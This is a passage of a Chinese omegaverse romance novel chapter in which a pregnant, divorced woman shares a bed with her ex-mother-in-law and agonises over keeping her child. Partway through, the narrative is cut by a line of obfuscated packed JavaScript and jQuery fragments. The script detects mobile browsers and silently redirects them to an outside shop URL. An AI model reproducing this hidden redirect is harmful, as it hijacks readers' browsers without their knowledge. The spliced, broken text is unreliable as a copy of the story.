尤昙收起手机。
不管怎样,今天都是让人开心的。
吃过晚餐,她还毫无困意,洗过澡之后,她有些精神兴奋地在视频网站上看一些给小猫小狗洗澡修毛的视频。
直到沈缎青提醒,她才意识到时间已经很晚了,恋恋不舍地放下手机。
沈缎青没提,她也把戒指的事情抛在了脑后。
虽然房间里只有她们两个,她却丝毫没有怀疑沈缎青。
毕竟沈缎青要她和沈遐云的婚戒有什么用?
既然在这个房间里,哪怕暂时找不到了,也仍然在这个房间里,总不会丢掉,说不定哪天就会找到了。
反而是昨晚的事情让她更紧张一些。
洗完澡在床上躺下后,熟悉的场景,耳边是哗啦啦的水声。
今早起床的画面还历历在目,为了克制住自己,她闭着眼睛今天刻意约束自己,心里强调,今天不能再像昨天一样,趴在女人胸口睡了。
她自认自己睡相不差,这几个月自己一个人睡时,常常睡前睡姿是什么样,醒来仍然是什么样。
猜测是和沈遐云在一起太久,两人在一起三年,很多习惯是没办法一朝一夕改掉的。
沈缎青在她身边躺下。
两人隔着一小段距离,气氛很安静,只能听到自己咚咚的心跳声。
尤昙犹豫几秒,侧过头:“妈……”妈。
话准备叫出口,又猛地停住。
因为她突然意识到,她和沈遐云已经离婚。
她和沈缎青之间严格来说毫无关系。
依然按照以前这样叫合适吗?那现在应该叫什么?
张了张嘴,却只发出了一声气音。
好在沈缎青已经听见了,侧头看向她。
尤昙有些不好意思:“谢谢。”
她没想到早上才请沈缎青帮忙,晚上就能得到姐姐的消息。
哪怕这对沈缎青只是举手之劳,她也应该要认真说谢谢。这代表沈缎青一定是将她的话放在了心上。
灯光朦胧,只能看清身旁人的轮廓,女人似乎笑了一下:“只有谢谢吗?”
声音有点低,尤昙没听清:“什么?”
沈缎青也没有想再说一次的意思,轻声道:“晚安。”
“哦。”尤昙也回她一句晚安,闭上眼睛,又在心里对自己强调了一遍,今天晚上她不能再毫无边界感地靠在沈缎青怀里睡了。
但是半梦半醒间,她似乎感受到两人之间被刻意拉开她的距离消失。
肩靠肩,女人的体温隔着衣料仍然毫无保留地传递给她。
她其实很清楚身边的人是谁,哪怕她在清醒时尚不能抵抗,更别说此刻睡意朦胧。
身边的人对她极有吸引力,天然的、本能的、不加掩饰的。
但还是迷迷糊糊地靠了过去,
以至于,第二天一早醒来,睁开眼,她发现紧贴在沈缎青胸口,她居然不太惊讶。
如果说第一天她毫无察觉,可是昨晚她还迷迷糊糊记得是自己往主动女人怀里钻。
女人还没醒来,闭着眼睛,呼吸平稳,青棕色的长发随意落在枕上。
她紧紧抱着女人的腰,而女人的手臂搭在她的肩上,宽容地将她抱在怀里,纵容着她的动作,显得格外亲呢。
她脸红了一下,小心翼翼地试图从女人怀里钻出来。
“现在还早,还要再睡会吗?”女人刚刚醒来,声线还带着些微惺忪沙哑的意味
尤昙动作僵了僵。
眼看好不容易拉开了些距离,却被沈缎青自然地揽回了怀里。
尤昙:“……”
她对上女人的眼睛。
第一次她还无所适从,但真发生了第二次,她反倒没昨天那么不好意思了。
甚至坦然了许多。
大概是因为沈缎青此刻的态度,没有显露出任何不舒服和抗拒。
就好像这是再正常不过的事情,以至于她也被模糊了判断,按照她和沈缎青的关系,的确应该划清边界,可是……
她其实有点拿不准和长辈相处的方式,既然沈缎青没有表现出任何不舒服,或许这样没有任何问题?
她小心翼翼地伸手揉了揉自己有些酥麻的耳廓。
……
一天天过去,尤昙小腹的弧度逐渐明显。
其实她对于这个孩子的去留仍然有些犹豫。
沈缎青误会她想要留下这个孩子,可她当时更多只是担心和沈缎青之间突然完全没了任何关系。
再加上怀孕,身体激素影响,产生了强烈的不安全感,却没有伴侣陪在身边。
她其实应该和沈缎青表达自己的想法,但却支支吾吾一直没有开口。
这样做似乎有点自私。
可如果连这个孩子都没了,她和沈缎青之间就彻底没关系了。
现在,逐渐安定下来,也联系上了姐姐,哪怕姐姐现在还不在她身边,她也不自觉地轻松了许多。
她意识到自己真的得做出决定了。
是留下还是……她抚了抚自己的小腹。
手下弧度已经逐渐变得明显,平日有衣服的遮盖,其实根本看不出来,但尤昙这个母亲感受最为清晰。
不是胖了,是一个新生命在其中孕育。
可是留下就意味着一定要找另一个alpha完全标记她,成为这个孩子的新母亲。
可是没有感情基础,找到一个合适的愿意接纳这个孩子的alpha哪有这么简单?
空气中残留着这栋房子主人的信息素,和沈遐云极其相似的信息素,正不断抚慰着她,让她觉得安心。
她愣了一下,另一个念头不受控制地挤了出来。
合适的alpha,自己身边不就有一个?
可是这样的念头知道一闪而逝。
她就像是被火星烫了似的,吃痛地飞快将这个念头从脑海里挥散。
先不论沈缎青是否愿意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483839|201906||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两人之间的关系就不允许她这样想。
沈缎青对她很好,一个和煦温柔长辈,哪怕只是想想,也像是在产生邪念。
沈缎青回来的时候就见到这样一副场面。
尤昙坐在沙发上,没有像前几天一样,一听到脚步声就一脸期待地转头往门的方向看。
此时甚至没有意识到她回来,正垂着脑袋,膝盖上摆着手机,手指滑动,不知道在搜索些什么,看得很专心。
黑色长发柔顺地散在肩头,微微露出了一小段白皙纤细的脖颈。
沈缎青放轻脚步走近。
尤昙浑然未觉。
屏幕上的字映在她的眼中。
——信息素紊乱。
这是一种常见于alpha的病症,听起来似乎并不严重,就是信息素分泌不正常。
可是信息素本身极其重要,再小的病症也影响极大。
腺体无法正常分泌信息素,严重一些,连抚慰伴侣都做不到,而且还会一定程度上影响人的性格,容易变得暴躁易怒。
往大了说,这是一种终身残疾也不为过。
在体外孕育技术诞生之前,哪怕联邦公民生育意愿已经极低,医生也一定会在孕前检查时对每个有生育想法的伴侣强调,自然孕育一定慎重再慎重,毕竟并不是所有人都能担负起责任。
就像她的两个母亲一样。
是因为相爱才在一起,也是因为相爱才愿意生下了她和姐姐。
却因为信息素契合度太低,在孕育过程中不免产生摩擦,两人都不免辛苦,无数件细碎的摩擦演变成了矛盾,相爱,但是爱意里掺杂着埋怨和恨,因为姐姐的出生她们分开过一次,后来又复合,最后她的出生彻底变成了两人矛盾的爆发点。
她盯着屏幕上的字有些出神。
其实她一开始还以为她和沈遐云会不一样。
毕竟她们的信息素匹配度极高,三年的同居生活也几乎没有任何矛盾,她们应该能算作一对相爱的伴侣。
她手放在小腹上,感受着手下的弧度。
她还以为这个孩子起码能够出生在一个幸福的家庭里。
她提了提唇角,心里却五味杂陈。
回过神,余光突然瞥见脚边的地面。
黄昏时分,斜长的影子落在地板上,不只有她的,还有另一个人的影子,重叠着将她笼罩。
她愣了一下,猛地回过头,对上一双含笑的眼睛。
沈缎青不知道什么时候回来了,她居然一点都没有发现,而且已经不知道站在她身边看了多久。
沈缎青目光淡定地从她手机屏幕上一扫而过:“这么专心?在看什么?”
她身体僵了僵,慌乱想要收回手机,可是越着急越出错。
最后还是沈缎青主动伸手帮她按熄了屏幕。
指尖擦过她的手背,留下极轻的触感。
沈缎青脸上带上笑意,像是根本没看到她手机屏幕的上的搜索页面:“先吃饭吧。”